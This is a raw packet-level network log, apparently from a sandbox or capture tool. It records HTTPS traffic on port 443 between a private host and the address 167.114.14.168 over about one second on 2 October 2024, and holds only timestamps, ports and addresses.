Oct 2, 2024 06:10:14.661325932 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.661380053 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.661384106 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.661823034 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.668329954 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.668346882 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.668426037 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.668426037 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.668452978 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.668502092 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.677617073 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.744740009 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.744770050 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.744842052 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.744889975 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.744966984 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.745002031 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.745021105 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.745028019 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.745053053 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.745080948 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.750941992 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.750962973 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.751024961 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.751033068 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.751214981 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.751234055 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.751266003 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.751271009 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.751297951 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.751321077 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.751465082 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.751480103 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.751523972 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.751528978 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.751723051 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.751744986 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.751774073 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.751779079 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.751806021 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.751830101 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.752011061 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.752024889 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.752068996 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.752074957 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.753679037 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.757368088 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.759006023 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.759022951 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.759092093 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.759099007 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.760406017 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.835663080 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.835695028 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.835742950 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.835783958 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.835808992 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.835969925 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.835998058 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.836028099 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.836038113 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.836055994 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.836100101 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.841538906 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.841566086 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.841599941 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.841631889 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.841659069 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.841830969 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.841861963 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.841886044 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.841893911 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.841943026 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.841964960 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.842128992 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.842150927 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.842199087 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.842206955 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.842226028 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.842242002 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.842466116 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.842502117 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.842525005 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.842536926 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.842552900 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.842576027 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.842756987 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.842777014 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.842808008 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.842817068 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.842840910 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.842849970 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.849694014 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.849750042 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.849755049 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.849793911 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.849817038 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.851521969 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.898348093 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.926294088 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.926320076 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.926383018 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.926415920 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.926430941 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.926673889 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.926698923 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.926727057 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.926733971 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.926749945 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.926775932 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.932317019 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.932337999 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.932406902 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.932431936 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.932565928 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.932588100 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.932589054 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.932604074 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.932621002 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.932651997 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.932904959 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.932921886 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.932982922 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.932991028 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.933134079 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.933212996 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.933233023 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.933269978 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.933276892 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.933310032 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.933331013 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.933582067 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.933602095 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.933640003 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.933645964 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.933670998 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.933679104 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.940438986 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.940465927 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.940517902 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.940543890 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.940560102 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.941756010 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.945736885 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.017036915 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.017062902 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.017121077 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.017153025 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.017168999 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.017266989 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.017291069 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.017317057 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.017326117 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.017342091 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.017359972 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.023149967 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.023175955 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.023256063 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.023283958 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.023431063 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.023457050 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.023494005 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.023504972 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.023536921 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.023547888 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.023713112 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.023731947 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.023791075 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.023802042 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.023904085 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.023931980 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.023962975 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.023968935 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.023983002 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.024018049 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.024187088 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.024205923 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.024239063 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.024245024 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.024270058 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.024281025 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.031147003 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.031166077 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.031218052 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.031243086 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.031270027 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.031398058 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.110410929 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.110439062 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.110495090 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.110526085 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.110543013 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.110634089 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.110657930 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.110687017 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.110696077 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.110708952 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.110734940 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.113754988 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.113775015 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.113811970 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.113842010 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.113862038 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.113976955 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.114017010 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.114037991 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.114063978 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.114073038 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.114099979 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.114114046 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.114325047 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.114342928 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.114398003 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.114413977 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.114667892 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.114691019 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.114713907 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.114728928 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.114746094 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.114788055 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.115063906 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.115096092 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.115127087 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.115138054 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.115163088 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.115187883 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.119662046 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.123759031 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.123786926 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.123821020 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.123847008 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.123874903 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.123892069 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.201257944 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.201282978 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.201323032 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.201359034 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.201380014 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.201400995 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.201843977 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.201874018 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.201906919 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.201915979 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.201945066 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.201955080 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.204950094 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.204994917 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.205023050 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.205037117 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.205050945 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.205075979 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.205437899 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.205459118 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.205498934 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.205507040 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.205539942 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.205562115 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.205754042 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.205773115 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.205802917 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.205809116 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.205835104 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.205851078 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.206212044 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.206257105 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.206269026 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.206274033 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.206299067 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.206315041 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.206553936 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.206573963 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.206605911 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.206610918 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.206634998 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.206656933 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.214447021 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.214468002 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.214507103 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.214534998 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.214555025 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.214577913 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.292037964 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.292073011 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.292109013 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.292177916 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.292221069 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.292222023 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.292362928 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.292378902 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.292418003 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.292433023 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.292467117 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.292489052 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.295425892 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.295443058 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.295494080 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.295501947 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.295542002 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.295995951 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.296016932 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.296056032 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.296060085 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.296083927 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.296091080 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.296572924 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.296591043 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.296624899 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.296629906 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.296658993 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.296677113 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.296999931 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.297022104 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.297051907 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.297055006 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.297079086 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.297099113 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.297431946 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.297454119 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.297483921 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.297487974 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.297514915 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.297529936 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.305054903 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.305072069 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.305119991 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.305144072 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.305162907 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.305179119 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.382707119 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.382735014 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.382783890 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:15.382796049 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:15.382833958 CEST	49744	443	192.168.2.4	167.114.14.168
